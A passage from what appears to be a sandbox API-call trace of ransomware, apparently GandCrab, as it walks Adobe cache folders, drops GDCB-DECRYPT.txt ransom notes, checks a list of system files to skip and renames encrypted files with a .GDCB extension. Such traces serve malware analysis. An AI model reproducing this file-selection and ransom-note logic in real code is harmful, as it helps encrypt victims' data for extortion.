hTemplateFile=0x0) returned 0xffffffff [0170.421] GetLastError () returned 0x3 [0170.421] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned 275 [0170.421] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned 275 [0170.421] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned 275 [0170.421] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned 275 [0170.421] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned 274 [0170.421] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned 274 [0170.421] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned 274 [0170.421] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned 274 [0170.421] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.421] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.421] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.421] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.421] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\\\GDCB-DECRYPT.txt") returned 280 [0170.421] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\dc\\cache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.421] GetLastError () returned 0x3 [0170.422] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 273 [0170.422] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 273 [0170.422] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 273 [0170.422] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 273 [0170.422] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.422] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.422] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.422] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.422] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.422] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.422] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.422] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.422] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.422] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned 278 [0170.422] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned 278 [0170.422] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned 283 [0170.422] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned 283 [0170.422] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned 273 [0170.422] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned 273 [0170.422] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.422] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.422] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.422] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.422] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\\\GDCB-DECRYPT.txt") returned 294 [0170.422] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\dc\\toolssearchcacherdr\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.422] GetLastError () returned 0x3 [0170.422] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned 275 [0170.422] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned 275 [0170.422] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 270 [0170.422] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 270 [0170.422] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 270 [0170.422] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 270 [0170.422] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.423] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.423] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.423] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.423] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.423] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.423] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.423] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.423] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.423] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.423] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.423] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.423] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.423] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\\\GDCB-DECRYPT.txt") returned 271 [0170.423] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrocef\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.423] GetLastError () returned 0x3 [0170.423] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.423] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.423] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.423] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.424] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\\\GDCB-DECRYPT.txt") returned 274 [0170.424] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrocef\\dc\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.424] GetLastError () returned 0x3 [0170.424] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.424] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.424] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.424] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.424] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\\\GDCB-DECRYPT.txt") returned 282 [0170.424] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrocef\\dc\\acrobat\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.424] GetLastError () returned 0x3 [0170.424] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 273 [0170.424] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 273 [0170.424] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 273 [0170.424] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 273 [0170.424] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.424] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.424] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.424] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.425] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.425] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.425] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.425] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.425] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.425] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 270 [0170.425] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 270 [0170.425] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 270 [0170.425] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 270 [0170.425] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.425] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.425] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.425] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.425] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.425] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.425] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.425] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.425] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.425] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.425] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.425] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.425] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.426] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\\\GDCB-DECRYPT.txt") returned 269 [0170.426] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.426] GetLastError () returned 0x3 [0170.426] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst") returned 266 [0170.426] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst") returned 266 [0170.426] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 268 [0170.426] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 268 [0170.426] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 268 [0170.426] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 268 [0170.426] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.426] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.426] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.426] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.426] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.426] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.426] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.426] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.426] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.426] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.426] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.426] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.426] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.426] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\\\GDCB-DECRYPT.txt") returned 278 [0170.427] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application 